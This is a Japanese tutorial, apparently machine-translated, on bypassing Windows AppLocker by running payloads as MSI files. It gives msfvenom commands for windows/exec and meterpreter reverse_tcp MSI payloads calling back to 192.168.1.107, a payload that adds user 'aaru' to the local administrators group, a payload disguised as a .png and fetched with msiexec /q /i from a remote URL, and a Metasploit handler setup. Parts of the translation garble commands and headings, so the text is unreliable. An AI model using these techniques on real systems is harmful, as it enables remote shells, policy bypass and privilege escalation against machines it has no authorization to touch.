Jump to content

0x00はじめに

以前の記事では、「Windows Applockerポリシー - 初心者向けガイド」について説明しました。なぜなら、アプリケーション制御ポリシーとそれらの使用方法に関するApplockerルールを定義しているからです。しかし、今日、あなたはApplocker戦略をバイパスする方法を学びます。この記事では、Windows Applockerポリシーを使用して「cmd.exe」ファイルをブロックし、コマンドプロンプトを取得するためにこの制限をバイパスしようとしました。

0x01 Applocker-Applable Assotions File Format

Windows Applockerは、Windows 7およびWindows Server 2008 R2で導入されたセキュリティポリシーで、不要なプログラムの使用を制限します。この場合、管理者は次のプログラムの実行を制限できます。

1obnmpenjiw8313.png

これは、システム管理者に完全に依存し、プログラムのポリシーを設定するプログラムまたはスクリプトを制限または実行します。コマンドプロンプト(cmd.exe)、powershellまたはdllファイルまたはバッチファイル、rundll32.exe、regsrv.32またはレジャムが表示される場合があります。

fh2d4odny3g8314.png

0x02チャレンジ1:CMD

を取得するためにApplockerをバイパスします

同様の状況にあると仮定すると、上記のアプリケーションはすべてブロックされ、Windowsインストーラーファイルのみ(つまり、msi拡張)は制限なしに実行されます。

では、MSIファイルを使用してこれらの制限をバイパスし、完全な許可シェルを取得するにはどうすればよいですか?

1。 MSIファイルの詳細

MSI名は、Microsoftインストーラーのプログラムのオリジナルタイトルからのものです。それ以来、名前はWindowsインストーラーに変更されています。 MSIファイル拡張ファイルは、Windowsパッケージインストーラーです。インストールパッケージには、Windowsインストーラーによるアプリケーションをインストールまたはアンインストールするために必要なすべての情報が含まれています。各インストールパッケージには、インストールデータベース、要約情報フロー、およびデータフローのさまざまな部分のインストールが含まれる.MSIファイルが含まれています。

Windowsインストーラーテクノロジーは、クライアントインストーラーサービス(MSIEXEC.EXE)とMicrosoft Software Installation(MSI)パッケージファイルなど、組み合わせて使用される2つの部分に分割されています。 Windowsインストーラーは、パッケージファイルに含まれる情報を使用してプログラムをインストールします。

MSIEXEC.EXEプログラムは、Windowsインストーラーのコンポーネントです。インストーラーがそれを呼び出すと、msiexec.exeはmsi.dllを使用してパッケージ(.msi)ファイルを読み取り、変換(.mst)ファイルを適用し、インストーラーが提供するコマンドラインオプションをマージします。インストーラーは、ファイルをハードドライブにコピーしたり、レジストリを変更したり、デスクトップでショートカットを作成したり、必要に応じてインストール設定をユーザーに促したりするダイアログボックスを表示するなど、すべてのインストール関連のタスクを実行します。

Windowsインストーラーがコンピューターにインストールされると、msiファイルの登録されたファイルタイプが変更されるため、msiファイルをダブルクリックすると、msiexec.exeがファイルで実行されます。

各MSIパッケージファイルには、多くのインストール手順でプログラムのインストール(および削除)に必要な命令とデータを保存するリレーショナルデータベースが含まれています。

2。 CMD

を取得するさまざまな方法

(1)。最初の方法:msfvenomを使用して悪意のある.msiファイルを生成

今すぐ、Kaliマシンで新しい端末を開き、CMD.msiとして悪意のあるMSIパッケージファイルを生成しましょう。以下に示すように、Windows/execを使用してExploitを実行してコマンドプロンプトを取得します。

python -m simplehttpserver 80

次に、WindowsコンピューターのCMD.MSIファイルを転送して、管理者としてコマンドプロンプトシェルを取得します。ここでは、Python HTTPサーバーを使用して、ネットワーク内のファイルを共有します。

ukwf0noen4d8315.png

ローカルコンピューターに.msiファイルをダウンロードした後、次の構文を使用して、コマンドプロンプトでmsiexec.exeを使用してmsiファイルを実行できます。

構文:msiexec /quiet /imsiexec /ciet /i c: \ users \ raj \ desktop \ cmd.msi

jcmtt4fhhac8316.png

実行プロンプトの上記のコマンドをクリックしている限り、コマンドプロンプトを取得します。

nfktssfij5u8317.png

(2)。 2番目の方法:MSFVENOMを使用して、Malious.msiファイルを生成

注:別の拡張機能でcmd.msiファイルを変更しても、ルールをバイパスします。

上記の手順を繰り返して、MSFvenomと同じペイロードを持つMSIファイルを生成し、cmd.pngという名前を生成します。 kaliにcmd.msiファイルをすでに持っているので、cmd.pngに変更し、pythonサーバーを使用して転送しました

qjqfvsemevx8318.png

ローカルコンピューター(管理者がCMD.exeをブロックするWindowsオペレーティングシステム)にcmd.pngファイル(実際には.msiファイル)をダウンロードした後、次の構文を使用して、実行プロンプトでmsiexec.exeを使用して.msiファイルを実行できます。

構文:msiexec /q /i

msiexec /q /i http://192.168.1.107 /cmd.png

gqu1qrf2wd38319.png

実行プロンプトの上記のコマンドをクリックしている限り、コマンドプロンプトを取得します。

zz35lipvvck8320.png

(3)。 3番目の方法:MSFVENOMを使用して、Malious.msiファイルを生成

上記の方法では、Windows/Exec Payloadを使用してコマンドプロンプトを取得しますが、Windows/MeterPreter/Reverse_TCPペイロードを使用してMeterPreterセッションを介して完全な権限を備えたコマンドシェルを取得します。

MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.1.107 LPORT=1234 –F MSI SHELL.MSI

次に、Windowsコンピューターのshell.msiファイルを再度転送して、管理者としてコマンドプロンプトシェルを取得し、マルチ/ハンドラーを開始します。ここでは、Python HTTPサーバーを使用して、ネットワーク内のファイルを共有します。

0bpfbeppxov8321.png

ローカルコンピューター(管理者がCMD.exeのWindowsオペレーティングシステムをブロックする)にshell.msiファイルをダウンロードした後、次の構文を使用して、実行プロンプトでmsiexec.exeを使用して.msiファイルを実行できます。

構文:msiexec /q /i

msiexec /q /i 3http://192.168.1.107 /shell.msi

xr3kgtxlx4x8322.png

実行プロンプトの上記のコマンドをクリックする限り、このペイロードのメータープレターセッションを使用してコマンドプロンプトを取得します。

MSFはExploit/Multi/Handlerを使用します

MSF Exploit(ハンドラー)Payload Windows/MeterPreter/Reverse_TCPを設定します

MSFエクスプロイト(ハンドラー)セットLHOST 192.168.1.107

MSFエクスプロイト(ハンドラー)セットLポート1234

MSFエクスプロイト(ハンドラー)エクスプロイト

メータープレターシェル

bgu0p3w11jc8323.png

0x03チャレンジ2:管理者グループのローカルユーザーメンバーを作成

あなたが同様の状況にあると仮定すると、上記のアプリケーションはすべてブロックされ、Windowsインストーラーファイル(つまり.MSI拡張機能)のみが制限なしに実行されます。

では、MSIファイルを使用してこれらの制限をバイパスし、管理者グループのローカルユーザーメンバーにCMD.Exeの実行を防ぐにはどうすればよいですか?注:このAARUは、以下に示すように、非滞在者のユーザーアカウントではなくローカルユーザーアカウントです。

u0yjo35zr3c8324.png

Applockerがルールポリシーを実行するため、CMD.exeがローカルマシンでブロックされていることがわかっているため、コマンドプロンプトを使用して管理者グループにAaruを追加することはできません。

vg5mm5nai2i8325.png

(1)。4番目の方法:msfvenomを使用してmalious.msiファイルを生成

Windows/Execペイロードを使用してMSIパッケージをadmin.msiとして生成します。これにより、ユーザーAaruのローカル管理者の特権をターゲットコンピューターに追加するようにユーザーAaruに指示するコマンドが送信されます。

msfvenom -p Windows /exec cmd='net localgroup管理者aaru /add' -f msi admin.msi

次に、WindowsコンピューターのAdmin.msiファイルを転送して、Aaruを管理者グループに追加します。ここでは、Python HTTPサーバーを使用して、ネットワーク内のファイルを共有します。

3yqf340rolk8326.png

ローカルコンピューターのadmin.msiファイルをダウンロードした後(管理者がcmd.exeのWindowsオペレーティングシステムをブロックする場合)、次の構文を使用して、実行プロンプトでmsiexec.exeを使用してadmin.msiファイルを実行できます。

構文:msiexec /q /imsiexec /q /i 3http://192.168.1.107 /admin.msi

hfo1dgfpcl28327.png

実行プロンプトの上記のコマンドをクリックしている限り、Aaruユーザーが管理者アカウントの一部になっていることを確認できます。

ib44zexv5ru8328.png

この記事では、MSIファイルを使用してオペレーティングシステムのポリシー制限をバイパスする方法を学びます。ここでは、CMD.EXEおよびその他のアプリケーションが管理者によってブロックされます。

参考文献:https://Support.microsoft.com/en-gb/help/310598/overview-of-windows-installer-technology

https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-it

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...